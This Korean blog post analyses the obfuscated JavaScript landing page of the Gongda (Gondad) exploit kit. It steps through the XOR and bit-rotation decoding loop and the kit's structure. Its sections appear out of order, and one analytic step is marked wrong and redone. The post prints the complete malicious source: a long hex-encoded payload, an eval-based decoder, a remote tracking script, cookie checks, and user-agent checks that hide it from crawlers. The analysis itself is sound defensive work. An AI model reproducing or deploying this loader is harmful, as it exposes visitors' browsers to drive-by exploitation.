    정규표현식의 의미를 해석하면 \d(0~9 까지 숫자)가 0회 이상(*) 나타나는 것을 의미한다. ^ 와 $ 는 각 문자열이나 행의 처음과 끝을 나타내는 역할을 한다. 마지막으로 앞에 붙은 ! 로 인해 출력되는 결과가 true 면 false 이고, false 이면 최종값은 true 가 된다. test() 함수의 기능은 정규표현식에 부합되는지 확인하여 불린(Boolean) 형태로 반환하는 역할을 한다. 

    읽기 쉽게 변형화는 과정에서 \ 를 빼준 이유는 중괄호 안에서 \ 뒤에 있는 문자를 인식을 위해 사용하는 탈출(Escape) 문자이기 때문이다. 탈출 문자를 사용한 이유는 분석 중인 소스코드가 공다팩에서는 변수에 저장된 문자열이기 때문이다.

    for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-hgfqoiu6) 
         vkdamw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);

    for 구문에 의해 반복되는 구문으로 변형하지 않고 보면 이해하기 힘들다. 그래서 다시 변형시켜 보면 다음과 같다.

    for(mWQywTw0=0;mWQywTw0<UgoVGYH0['length'];mWQywTw0-=-1)
        VKdaMw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);

    최대한 치환을 해봐도 이해하기 어려워 보인다. 이 부분은 첫 번째 난독화 해제하는 연산으로 mWQywTw0 이 0 부터 시작해서 해제부 문자열의 길이만큼 반복을 한다. UgoVGYH0 는 난독부가 문자열 형태로 저장되어 있는 변수이다. mWQywTw0-=-1 은 mWQywTw0+=1 과 같은 동작을 한다.

    for 구문에서 연산하는 부분이 중요한 부분인데, >>> 시프트 연산은 부호없는 오른쪽 시프트 연산으로 불리며, 양수와 음수를 구분하는 최상위 비트(MSB, Most Significant Bit)를 포함하여 시프트 연산을 한다. 우선 ((0&127)<<25)|((0&4294967168)>>>7) 비트 연산을 그림으로 표현하면 다음과 같다.

    [그림 5] 비트 연산

    어려워 보일 수 있으나, 조금 추상적으로 표현하면 다음과 같다.

    [그림 6] 비트연산 단순화

    뒤의 7 비트인 A와 앞의 25 비트인 B와 자리를 변경하는 기능을 한다. 비트연산을 수식으로 표현하면 다음과 같다. (여기서 ^는 xor 연산이 아닌 지수를 의미한다.)

    ((0 & 127) × 2^25) | ((0 & (-128)) ÷ 2^7)

    해제부인 UgoVGYH0 변수의 시작 문자는 "function……" 이니 연산을 해보자. f 는 0x66 이나 charCodeAt 함수에 의해 10진수인 102 로 연산이 이루어 진다.

    ((0 & 127) × 2^25) | ((0 & (-128)) ÷ 2^7) + 102 = 102

    다시 u 의 10진수 값인 117로 연산을 하면 다음과 같다.

    ((102 & 127) × 2^25) | ((102 & (-128)) ÷ 2^7) + 117 = 
    (102 × 2^25) | ((0 ÷ 2^7) + 117 = 
    -872415232 + 117 = -872415115

    UgoVGYH0 의 문자열 길이는 1455 이다. 즉 for 구문에 의해 0 에서 1454 까지 돌아가며, for 구문이 실행 완료가 되면 VKdaMw0 에는 다음과 같은 값이 저장된다.

    [그림7] 메모리 상태

    syzMMty7+=HgfQOIU6;
    VKdaMw0>>>=0;

    syzMMty7 변수에 2를 더하여 저장하는데, 문제는 syzMMty7 변수가 선언되어 있지 않아 exception 이 발생한다. 이 exception 으로 인해 Xmstqj3() 함수에서 빠져나오게 되고, Xmstqj3() 함수를 실행하는 부분의 catch 문으로 들어가게 된다. 해당 catch 문에는 syzMMty7 에 0 값을 가진 HgfQOIU6 으로 변수를 선언하게 되고, 다시 Xmstqj3() 함수를 실행하여 앞에서 진행한 과정을 다시 반복하게 된다. 

    재미있는 부분으로는 함수에서 exception 이 발생하여 실행 중에 빠져나오게 되지만, 메모리에 쓰여진 변수들은 초기화 되지 않고 유지되는 점이다. 이러한 이유로 인해 VKdaMw0 의 시작 값은 -1243569961 부터 시작되기 때문에, 값은 바뀌게 되고 최종적으로 난독화 해제에 사용되는 키 값이 생성된다.

    [그림 8] 메모리 상태

    다시 돌아와서 VKdaMw0 을 부호없는 오른쪽 시프트 연산 값을 0 을 사용하여 unsigned 형태로 만들어 저장한다. 565940520 는 이미 양수이기 때문에 값은 변경되지는 않는다.

    for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yPHSYM7++){
        if(mWQywTw0>=(1<<3)){
            PuDe7=mWQywTw0%(1<<3);
        }else{
            PuDe7=mWQywTw0;
        }
        dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;
        if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))
            dyLU3%=3;
        otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);
    }

    역시 변수나 함수들이 보기 불편하게 사용되고 있기에 가독성을 높여보았다.

    for(mWQywTw0=0,yPHSYM7=1;mWQywTw0<GndC0['length'];mWQywTw0+=2,yPHSYM7++){ 
            if(mWQywTw0>=8){
                PuDe7=mWQywTw0%8;
            }else{
                PuDe7=mWQywTw0;
            }
            dyLU3=parseInt('0x'+VKdaMw0.toString(16).substr(PuDe7,2))+yPHSYM7;
            if(\/^(\\d{4})\/g['test'](dyLU3+744))
                dyLU3%=3;
            otlkVb6+=string.fromCharCode(parseInt(0+unescape('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+parseInt(1)))^dyLU3);
    }

    mWQywTw0 은 1454 값에서 2 로 변경되고, yPHSYM7 변수는 새로 선언되어 1 의 값을 할당 받는다. GndC0 은 난독화가 되어 있는 난독부를 의미한다. GndC0 의 문자열 길이는 11584 이고, 5792 번 실행된다. for 구문이 4 번 실행되는 것을 한 싸이클로 표현한다면, PuDe7 에는 2, 4, 6, 0 의 값이 반복된다. [잘못된 분석으로 삭제]

    mWQywTw0 는 1454 값에서 0으로 변경되고, yPHSYM7 변수는 새로 선언되어 1 의 값을 할당 받는다. GndC0 은 난독화가 되어 있는 난독부를 의미한다. GndC0 의 문자열 길이는 11584 이고, 5792 번 실행된다. for 구문이 4번 실해오디는 것을 한 사이클로 표현한다면, PuDe7 에는 0, 2, 4, 6, 0 ... 순서대로 반복된다.

    VKdaMw0 은 565940520 값을 가지는데, toString(1<<4)에 의해 16진수 형태로 변환되어 21BB9128 이 된다. 다시 이 값에 substr() 함수를 사용하여 21, BB, 91, 28 로 잘라져서 각각 앞에 0x가 붙어 16진수 형태를 가지며, 다시 parseInt() 함수에 의해 10진수로 변환된다. 10진수로 변환된 값은 순서대로 33, 187, 145, 40 이 된다. 그 다음 for 구문이 실행될 때 마다 1 부터 1 씩 증가하는 값이 더해지는 연산이 일어난다.

    [그림 9] 메모리 상태

    조건문에서 정규표현식을 사용하여 검증을 하는데, dyLU3 에 744 를 더하여 숫자 1000 을 넘는지 확인한다. dyLU3이 FF 라면 10진수로 255 가 되기 때문에 744 를 더하면 999 가 된다. 만약 1000 이상의 값을 가지게 되면 아스키 문자의 값을 가질 수 없기 때문에 사용하는 부분이다. for 구문에 의해 dyLU3 는 계속 증가하기에 FF를 넘어간다면, 3 으로 나눈 나머지를 저장하는 형태를 가진다.

    otlkVb6 의 연산은 최종적으로 난독부가 해제되는 과정을 담고 있다. for 구문에 의해 연산되는 과정은 다음과 같다. (^ 연산은 xor 연산이다.)

    otlkVb6 += String.fromCharCode(parseInt(0x4B)^34) otlkVb6 += String.fromCharCode(parseInt(0xFA)^189) ...

    한번 연산된 후 값은 fromCharCode() 함수에 의해 아스키 문자로 바뀌어 otlkVb6 에 차곡차곡 저장되어 완성된 공격코드를 볼 수 있게 된다.

    try{
        new function(){
            NUIRS0(otlkVb6);
        }
    }catch(e){
        try{
            new function(){
                FTWphd5=parseInt;
                iGNrX2(otlkVb6);
            }
        }catch(e){
            window.location='.';
        }
    }

    이제 차곡차곡 저장된 otlkVb6 를 eval() 함수가 치환된 NUIRS0 이 실행하여 최종적으로 난독화가 풀린 코드를 브라우저가 인식하고 실행하게 되어 공격 코드가 실행되게 된다. 만약 실행하는 과정에서 문제가 발생한다면 의미없는 동작인 FTWphd5 를 parseInt() 함수로 치환하고 Math.tan(otlkVb6) 가 실행되어 강제로 exception 이 발생하게 된다. 발생한 exception에 의해 window.location 의 실행에 의해 공격 페이지(ex. gondad.html)의 디렉터리를 브라우저 화면에 출력하게 된다. 대부분 window.location 이 실행이 되는 것은 분석가가 난독화를 해제하는 과정에서 많이 빠지게 된다.

    3. Reference



    'Information Security > Malware' 카테고리의 다른 글

    Sweet Orange exploit kit  (0) 2014.09.02
    공다팩(Gondad EK) 분석 #04  (2) 2014.08.14
    공다팩(Gondad EK) 분석 #03  (3) 2014.07.11
    공다팩(Gondad EK) 분석 #02  (0) 2014.07.04
    공다팩(Gondad EK) 분석 #01  (0) 2014.06.27
    jjencode 분석  (10) 2014.03.14
    1. jeon 2015.01.08 15:35

      "mWQywTw0 은 1454 값에서 2 로 변경되고" 이 부분이 이해가 잘 되지 않는데
      mWQywTw0 = 0 (sXdvdnE4의 값) 이어야 하지 않나요? 따라서 0, 2, 4, 6 으로 루프가 도는거 같은데..

      • Favicon of https://www.hakawati.co.kr BlogIcon hakawati 2015.01.09 15:17 신고

        for 구문 안에 mWQywTw0=2 이 들어 있어 시작은 2부터 시작됩니다 ㅎㅎ 루프도는 건 맞아요.

      • Favicon of https://www.hakawati.co.kr BlogIcon hakawati 2015.12.21 14:41 신고

        아 다시 보는데 그렇네요. 정말정말 감사합니다.


    1. Introduction

    우선 공다팩을 분석하기 위해서는 자바스크립트 언어에 대한 이해도 필요하지만, 기본적으로 프로그래밍에 대한 지식이 있으면 쉽게 이해할 수 있다. 가령 try{} catch{} 구문이나, 메모리에 변수를 할당하고 삭제하는 부분 등을 예로 들 수 있다. 그 외 자바스크립트가 사용하는 다양한 함수들의 기능에 대해서는 구글 검색을 통해 이해할 수 있다. 만약 직접 자바스크립트 언어를 테스트하거나 디버깅 하고 싶다면 브라우저의 개발자 도구를 이용하는 것을 추천한다.

    브라우저 개발자 도구

    최근 브라우저들은 개발자 모드를 제공하는데, 특히 Console 탭에서 자바스크립트 언어를 인터프리터 형태로 실행하고 결과를 받아 볼 수 있다. 이는 브라우저가 사용하는 자바스크립트 엔진(자바스크립트 인터프리터)을 이용하기 때문에 가능하다. 크롬은 구글이만든 v8 자바스크립트 엔진을 사용하고, 파이어폭스는 몽키스파이더(Monkey Spider) 자바스크립트 엔진을 사용하다가 최근 Rhino 엔진으로 교체하였다. 

    인터넷 익스플로러는 Charka 자바스크립트 엔진을 사용하는 것으로 알려져 있다. 그 외 사파리에서 사용하는 JavaScriptCore 엔진, 초기 자바스크립트 엔진 프로젝트인 KDE에서 만든 KJS 자바스크립트 엔진, 오픈 소스로 제작된 Nashorn 자바스크립트 엔진 등 다양한 자바스크립트 엔진이 있다. 이러한 모든 자바스크립트 엔진은 ECMAScript 표준안을 따라가기 때문에 어떤 엔진에서든 적용할 수 있는 프로그래밍이 가능하다.

    엔진을 소개한 이유는 자바스크립트 난독화를 해제하기 위해 만들어진 도구들이 자바스크립트 엔진을 사용하기 때문이다. 대표적인 도구인 Malzilla와 같은 경우 몽키 스파이더 엔진을 탑재하고 있으며, 허니클라이언트(HoneyClient)의 일종인 Thug의 경우 v8 엔진을 탑재하여 사용하고 있다.

    최근에는 Node.js와 같이 자바스크립트 엔진을 탑재한 채 사용할 수 있는 소프트웨어 플랫폼도 있으며, PhantomJS나 CasperJS는 브라우저가 사용하는 웹킷을 탑재하여 사용하는 플랫폼도 있다. 웹킷은 간단하게 말하면 브라우저가 사용하는 엔진 모음집이며, 기본으로 레이아웃 엔진, 자바스크립트 엔진, 플러그인 엔진 등 다양한 엔진들의 집합체로 보면 된다. 기회가 되면 브라우저의 구조와 원리를 분석하여 포스팅하겠다.

    1.1 Full Source Code

    이 코드는 비록 텍스트이지만, 일부 백신에서 탐지하여 현 블로그가 차단될 수 있다.

    <script language="javascript" src="http://count9.51yes.com/click.aspx?id=91720571&logo=1" charset="gb2312"></script>
    <script type="text/javascript" src="swfobject.js"></script>
    <script src=jpg.js></script>
    <script type="text/javascript">
    var oRDS8=navigator.userAgent.toLowerCase();
    var UlQcp6="1"+"1"+"1";
    if(document.cookie.indexOf("Kzkr6=")==-1 && oRDS8.indexOf("linux")<=-1 && oRDS8.indexOf("bot")==-1 && oRDS8.indexOf("spider")==-1)
    {
    var mCBrLXb1=deconcept.SWFObjectUtil.getPlayerVersion();
    var expires=new Date();
    expires.setTime(expires.getTime()+24*60*60*1000);
    UlQcp6="0"+"0";
    document.cookie="Kzkr6=Yes;path=/;expires="+expires.toGMTString();
    faug8="1";delete faug8;try{faug8+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var gOqA0="1";dLidfS6 = eval}qQhifJ0=unescape;GndC0="4BFADA5E7EF3A57E7F8CCE671EF2C24C5BAFF77267E795066E82DC2C5AEC987A72EC847C72D080797192D43D228CE82F3B83A03321DFAB0C3586A9007782AD0C0D9EA101036CAC5E1D72B5000B29C2441070DA5E5F3BE58A0C609EA4196D9EECE3648DB1E26E9BE5E76792E0A06373FDF37567D9FA676DC5F4742983FC6E66D1852B3BA1AC646ED3DF6C67DADA2C62D7D6792FDDC67167AEDE4168ADD26429AFAD6F66ADA27B29EBC70A77B5BC2165B7BC6661B8AE3D6585AA6D6D9D94637689CC676498AC534783C22B2BD6CC3B0CF2846070DC97707279C7676E6C9A6066782E71706D687429202E232B3B0D08676E6F6460667A3C7261727165486F74296370737A5B305F2E7364706D6361642A2F5C2C7C5D5E2F662E25262B293B0F0A676E72296B3F3039693C637273792E6D676C6676683B6B2B2A280D0B790F0B766D703F70607373644B6C752A617270785A685D2F7067716E616367282E5D2E7D5E5D2E652C272529283A0D0B6B64212A676F6C646065783D766F712B20676D6E656064793F766C723B0D087D0C0B6967222A29656F6E666165793C3C333531333020242621666F6F6663657A3E3D333731313028227E7D2228676D6E656064793E3F303430333020272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3D3F313532333221262722656E6C646166783F3C31343232312B290D087B0C0B76607022666D6E646364213C20656D61746F656E762E627365607667446E656D676E7529276072726D6774272B3B0C0B676E6C6660662E776B6475693D2333203A0F0A676D6E6560642F6A67686568743F2230233B0C086B672A28676D6E656064793E3F303430323520272720666D6C656364783C3D30373031322B217E7C202A676E6F6460667A3F3F313532303121262722656E6C646166783D3C31343231302B290D087B0C0B676E6C6660662E617063696876643F2062694D6D352E6B716723390F0B656F6E6661652F636E66673C20476F6C646065476E6C6660664578722E626D617271203A0F0A676D6E6560642F7167754374747069637474642A20656D7461202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D08656D7265216B64212A28676D6E656064793E3F303530303020272720666D6C656364783C3D30363031322B217E7C202A676E6F6460667A3D3F313632333121262722656E6C646166783F3C31373232312B207C7E2029666F6F6663657A3C3D333531323321242421656F6E666165793E3C3337313230292B0D0B7A0D0B656D6F6661642C617362686874673C2046484A5353312E6B726523390D0A656F6F6561652C616E66653D20476E6F64606647797A2E4F6A6E6E2F636D637172203B0D08676E6F6460662C72677441767473686274766729207869636F6C606F6D74202D20687476703B2E2F7675752F7B796C6B732F626F6C2D612F67786520293A0C0A666D6C6563642E716575407475706B637774652A22636F222D20756E7B6F757B697B6969796B636E6F616F6E7623283B0C08656E6C6461662E726474407676736B6275766529237368202E23616F6E656C606879646077706B2229390D0B666F6F6663652C73657641757572686077756728226073232D2236363A232B3B0D08646E62756C676C752C626F66792F607071676C654168696E6429666F6F6663652B3B0D087D0C0B656D7167216B66202A28666E6E656366793E3D313530313220272422666D6E646364793F3D303532313229207E7C2129676E6C666066783C3F313731333322242722676F6C646065783F3F33373230302B207D7D2029656D6F6661647A3C3C303531313021242620656F6F6561657A3C3C333530323028280D0B790F0B656F6E6661652F6173616A6874653D204475514B46352C6B726722390D0B666F6F6663652C636F66653C23676E6C66303532332C476E6F6460767660616B2E616C60727323390F0B656F6E6661652F73647643757672696075756428237A6B606D6D616D6C77232C236A7675723A2F2D7776762E787B6E68712E636D6D2E622E647A67232B3B0D08676E6F6460662C7267744176747368627476672920626E202C23766F786D77786B7A686B7868606F6C636D6D742229390D0B666F6F6663652C73657641757572686077756728227169232D22626D6C666E61697B6563747168202B3A0F0A676D6E6560642F7167754374747069637474642A206371222C203735392228390F0B666F63776D646F742F606D657B2E617270646F64426A6B6D6628676D6E65606428390F0B7F0D0A676C72642068642229656F6E666165793C3C333531323620242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D212561776732303332797978792C456E6C6476742E626D617271253F3E706170616C216E606F673C6372636A6977642077636E74673D20256E7474736D5273312C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F236C7575716C5170302F687266203B0D08676E6F6460662C626D64653F22627765333233337A78787A2E466E6E6574742F616C617173233A0D0B656D6F6661642C73647541757670686075746728237969606D6F606D6C76202C2369747572382E2D7777752E78786C68712C626D6D2F612E647965232B390C08676F6C6460652E726776407674726B627475652920606F202C22756F786E75786B78696B7869636F6C606F6D742028390D0A656F6F6561652C7164764174767268637575672A237169222E22626E6E666E63687B656277716823293A0F08666D6E6463642F72657543767570696277746429226371202D2037343A22283A0D0B666D62776D656C742F636F657B2C607270656C644269696D662A666D6E646364283A0D0B7F0F0B7F0D0A676C72642068642229656F6E666165793C3C333531323720242621666F6F6663657A3E3D3337313130280F087A0F0A7663722176744040766037203D2277686F646E752C6F6376696561756E722F777164704167676E752F746E4E6D7667724363736429293A0F0868642028757440437460372C686C64657A4F6729276C716B642236272B203F212D302B0F0B790D0A666F62746D646C762F757269766529233C4E404844415420616C60727368663F26616C736B643B3941453B413936302D323435442D303346302F423347392C3130393237473639394639322620766B66756A3D27303031262069676B666A743D25323131273F3E726070616D226E606C653C7A6B606D6D616D6C772176606E77643F20276A7475713A2E2D7576752E797B6C68722E626D6F2E612E657A65263F3C716370606F206E636D643C626F2274606E75653F2026766F786D77786B7A686B7868606F6C636D6D74273E3E706073616C226C606F653D71692177616D77673C2227636D6E666D61687B6763777169253E3D716173636F216C616D673D63722077636E74673D2025373539273F3E726070616D226E606C653C414D45472076636C74643D2125656E6C6432323133343036342C466D6E6473712F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276579684C362C6B7267273C3C2E4E424B4741553C2229390D0B7C0D0B676E72670D0A790D0B666F6F6663652C617261686877653C2066796A4D342C6A7166223A0F08666D6E6463642F626F65673F23656F6E6632313032343235372C476F6C6470702E626E637271223B0F0A666E6E6563662F7165744374757369637776642A22786B616E6C616E6E74232E22687674713B2F2E7575762C79796E69722F636E6F2D622C65786722283A0D0B656D6F6661642C7364754175767068607574672823636E232E20766D796F7779687B68687A6B606D6D616D6C7723293A0F08666D6E6463642F7265754376757069627774642922726B202D20636F6C676D6069786760747369222B3B0C0B676E6C6660662E736774407574736B6074766528206272232C2335363920293B0F0A656E63746F676F762E626D64782F617172676F6643686B6C6529676E6C666066293B0F0A7C0C0A7C0F08646E73652269672128666D6C656364783E3D303630303222272420676D6E656064793C3F3035303032290C0B7B0C087460702077764143756134223F2175696E666F762F6E60746B6663746F702E747265734365646C742E766F4D6E77647041607165282B3B0C0B6967222A767641427661342F696F6667794D6628256D72686521342528223E202F31280C0A7A0F08656D63756F656F752E76706B756728223E4F434B45425622626E61737169653C27626E7168663A38434438423835322F313634452F313045312C4031443B2D303238313446353B3B453B33272277686574693F2533323027226864686769763F26303030253E3D716173636F216C616D673D7968616E6F636E6E762074616D74653C222569767470382F2E7677762C7B786E69732C636E6C2F622C677967273E3E706073616C226C606F653D606E2177616D77673C2227776D796E747968786A687A69616D6D606E6C77253C3D726172636D216F616C673F726B2076636C74643D2125616E6C676C636978646274736B263C3C706372606C206F636F643F62732276606D75643F2226353438253E3D716173636F216C616D673D424E44442274606E75653F2026796D6D30323031303430322F594D4D30323031303430322F626C607171263C3C706372606C206F636F643F617261686877652174636D77653D22276A544B755B78392C6A7065273F3D2F4E40484441543E20293A0C0A7C0F08646E73650F0A7A0C0A666D6C6563642E637262696977673F2369554B76597B392E6B726523390D0A656F6F6561652C616E66653D20786C6D32313331313632322C584C4D32313331313632322C636D60737220390C08676F6C6460652E726776407674726B6274756529207A68636F6D636F6D77222D206A7576703A2D2F7676772F7B7B6D6B732E616F6C2E632F677A6420293B0F0A666E6E6563662F7165744374757369637776642A22626C222D23776E7B6D747B697A6A697968616E6F636E6E76222B3B0C0B676E6C6660662E736774407574736B6074766528207368232C23616D6F656C616B79646375706B2028390D0A656F6F6561652C7164764174767268637575672A236073222E22363538232B390C08646F61756C646E752C606E66792E637071646E65416A686E6428656F6F6561652B390C087D0D087D0C0B7D0C08676D71652079090C0B090C080B686428286F4343734C5960335A256D61686F73265D3C3F3330222626226D4243724D5A603059276D6B6E6E73275C3F3F35222626226D4243724D5A60305927726776265C3D3C36323322262622286C4242734E5A63335B27656F6F656165255F3F3F20323435212726216F4143704C5860315A26676E6C666066275D3E3D213338362B2B217E7C202A6D4243724D5A603059276D636A6E73275C3F3F3033202624206C4242734E5A63335B276F696F6E72265F3F3C37202624206C4242734E5A63335B27706577265D3C3F37313020262420296C4343704E5960315B25676E6F646066255C3C3D20333131212627226F4240724C5A62305A27666D6C656364275F3C3C213135342B282B7B0D0809656E63746F676F762E77706975646C6F2A203D6B6D67227373623D704B4163505974322E7276663F3E5E2E6B6D673C22283A0D0B0B71647654696F656E74742920666E61756D676E752F77736B76646E6E285E223D646D6367662175696476683C303031226A646B6768763D31217373613F704B4362505975312E7275643F3E5C5C2D656C6365653C5E232B3B222E3231313028390F0B0B7D0D0809646D7364790F0B0B0D0A0B7660732076764343766135223D2176696F666D762C6E6174696660746E702C747165724367646F742F766D4D6D77657043607265292B390C08096964202929777543407563352E6B6E6564784E642A266F73696720372629213C222C33297C7E28767541437663342C696E6665794E6629256F726B6520352728213E212F33282B207B0F0A08656F62776F646C742E75726875656D6C2A233E696670616C64207270613C44514752694A342E69766F6D3C3C5C2D696773616C673C232B3B0D08097C0C0A08676E72672069642829767440407660372E696C6464794F672A256C71696522382628203F222F302B20262420296F61776B6560766F722C757264724065676F762E696C6464794F672A25566B6E646D7772214E5522372F332729223E212C312822242722286E6376686661756D702F60726F757364734C606C65746367652C696F6565794D6429256B6F2529213F202C332B28790D0A0B646E62756C676C752C77726B74646D6E29203E686472616F65217272623F616A4F6D372C68756C6C3F3E5E2E6B6672636D643F2228390F0B0B7D0D08097C0C0A7C0F083A0F0A64676C6475652157656E5447594A303A0C0A65676E647665205A6D7275716B31390C0864656E65756420585052726B5952353B0C0B64646E6775672073697372393B0C0866646E657467206C68496D31390C0864656E65756420725A6677666E45363B0C0B64646E67756720486566504E495434390C0864656E657564204B77547274564A363B0C0B64646E67756720564964604C7731390F0B66656C677464216F756E695760363B0F0A65646C6476672156625853796B313B0C0866646E657467206C565178755676323B0D0864646D65756722466C6443323B0C0B64646E677567204E57495352303A0F0865676C65766521654C68666452343B0D0864646D657567227564467A445959363B0C0866646E6574672070506868644831390D0A66656D647464227B514A53594F373A0C0A65676E647665206A787843353A0F0865676C65766521475456726A65373B0D0864646D6575672263766962514E50373B0C0866646E65746720434D4B72405531390D0A66656D647464227178784D4D7679363A0D0B66676D6774652269464F725930390C0864656E65756420657B4E54313B0D0864646D6575672251774465353B0C0B64646E6775672066637566393B0C0866646E65746720664E714032390C0864656E6575642047447A6049333B0F0A65646C647667215569747471507B363A0F0865676C65766521697858467336390D0A66656D64746422784257526B303B0C0B64646E6775672061774D6B303B0C0866646E6574672055484773634D36390D0A66656D647464225B4972546851333A0C0A65676E647665206B4C4D51474630390C0864656E657564204A68557B323B0D0864646D657567226C434149343B0C0B64646E67756720626F6C67353B0C0866646E6574672074764951485B70363B0D087473787B426D6E6D676374456173636166672A28397D636374626928642B797C0F0A";UgoVGYH0="function Xmstqj3(){YRPsiYR7=Math.PI;iGNrX2=Math.tan;skss8=parseInt;miIl3='length';BLKsBW0='test';hxyB5='replace';sXdvdnE4=skss8(~((YRPsiYR7&YRPsiYR7)|(~YRPsiYR7&YRPsiYR7)&(YRPsiYR7&~YRPsiYR7)|(~YRPsiYR7&~YRPsiYR7)));HgfQOIU6=skss8(((sXdvdnE4&sXdvdnE4)|(~sXdvdnE4&sXdvdnE4)&(sXdvdnE4&~sXdvdnE4)|(~sXdvdnE4&~sXdvdnE4))&1);/*www.yylis.com*/JuVsvVJ4=HgfQOIU6<<HgfQOIU6;new function(){NUIRS0=dLidfS6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[hxyB5](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[BLKsBW0](VKdaMw0));}catch(e){VKdaMw0=sXdvdnE4;}otlkVb6='';TbXQyj0=String[qQhifJ0('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(mWQywTw0=sXdvdnE4;mWQywTw0<UgoVGYH0[miIl3];mWQywTw0-=-HgfQOIU6)VKdaMw0=((VKdaMw0&127)<<25)|((VKdaMw0&4294967168)>>>7)+UgoVGYH0.charCodeAt(mWQywTw0);syzMMty7+=HgfQOIU6;VKdaMw0>>>=0;for(mWQywTw0=sXdvdnE4,yPHSYM7=HgfQOIU6;mWQywTw0<GndC0[miIl3];mWQywTw0+=JuVsvVJ4,yPHSYM7++){if(mWQywTw0>=(1<<3)){PuDe7=mWQywTw0%(1<<3);}else {PuDe7=mWQywTw0;}dyLU3=skss8('0x'+VKdaMw0.toString(HgfQOIU6<<4).substr(PuDe7,2))+yPHSYM7;if(\/^(\\d{4})\/g[BLKsBW0](dyLU3+744))dyLU3%=3;otlkVb6+=TbXQyj0(skss8(sXdvdnE4+qQhifJ0('x')+GndC0.charAt(mWQywTw0)+GndC0.charAt(mWQywTw0+skss8(HgfQOIU6)))^dyLU3);}try{new function(){NUIRS0(otlkVb6);}}catch(e){try{new function(){FTWphd5=parseInt;iGNrX2(otlkVb6);}}catch(e) {window.location='.';}}}try{dLidfS6('Xmstqj3();')}catch(e) {try{syzMMty7=sXdvdnE4;dLidfS6('Xmstqj3();');}catch(e){alert('ere');}}";tfFzFYX7 = dLidfS6(dLidfS6);tfFzFYX7(UgoVGYH0);
    }
    </script>

    2. Structure

    공다팩은 기능적인 부분으로 구분지어 다음과 같이 세 가지 형태로 구분지을 수 있다. 물론 이러한 구조에 대한 분류는 분석가마다 다르다.

    • Support Unit (지원부)
    • Obfuscation Unit (난독부)
    • Deobfuscation Unit (해제부)
    • Execution Unit (실행부)

    2.1. Support Unit

    지원부는 난독화를 해제하고 실행하기 앞서 다양한 정보를 수집하고 조건을 수립하는 역할을 한다.

    • 트래픽 애널리틱스 : 사용자의 정보를 네트워크를 통해 수집하는 부분으로 다음과 같이 생각할 수 있다.
    • 공다팩 페이지에 방문한 수가 500명임에 비해 악성코드 다운로드 횟수가 250명이라면 실제 감염률을 약 50%로 판단할 수 있다. 약 50%라고 판단하는 이유는 다운로드 했지만 안티 바이러스에의해 차단되거나, 악성코드 수집가나 분석가가 직접적인 접근을 통해 다운로드 할 수 있기 때문이다.

    • 버전 확인 : 자바, 인터넷 익스플로러, 어도비 플래시 플레이어의 버전 정보를 자바스크립트로 확인하여 취약점을 이용한 공격을 조건 형태로 사용할 수 있다.
    • 기감염 확인 : 과거에 사용자가 공다팩 페이지에 방문했는지를 확인하기 위해 브라우저 쿠키 문자열로 확인한다. 만약 쿠키값을 가지고 있다면, 난독화 및 공격코드는 실행되지 않는다.
    • 쿠키값 생성 : 접근한 사용자의 쿠키에 기감염 확인을 위해 생성항 쿠키값이 존재하지 않는다면 쿠키값을 생성하고 공격 코드를 실행하려 하지 않는다.
    • 유저 에이전트 차단 로직 : 유저 에이전트의 인덱스 값이 bot이나 spider 인 경우 실행이되지 않는데, 이는 검색 엔진의 크롤러가 사용하는 값이다. 즉 사용자들에게는 공격 페이지가 노출되지만, 검색 엔진에는 검색되지 않도록 하기 위해 사용한다.[크롤러 인덱스 값 리스트] 또한 리눅스 시스템 차단 로직 : 유저 에이전트의 인덱스 값이 리눅스인 경우 실행하지 않는다.
    <script language="javascript" src="http://count9.51yes.com/click.aspx?id=91720571&logo=1" charset="gb2312"></script> 
    // 트래픽 애널리틱스
    <script type="text/javascript" src="swfobject.js"></script> 
    // 어도비 플래시 플레이어 버전 추출하기 위한 자바스크립트 모듈
    <script src=jpg.js></script> // 자바 버전을 추출하기 위한 자바스크립트 모듈
    <script type="text/javascript">
    var oRDS8=navigator.userAgent.toLowerCase(); // 브라우저 에이전트 정보를 추출하는 정보
    var UlQcp6="1"+"1"+"1";
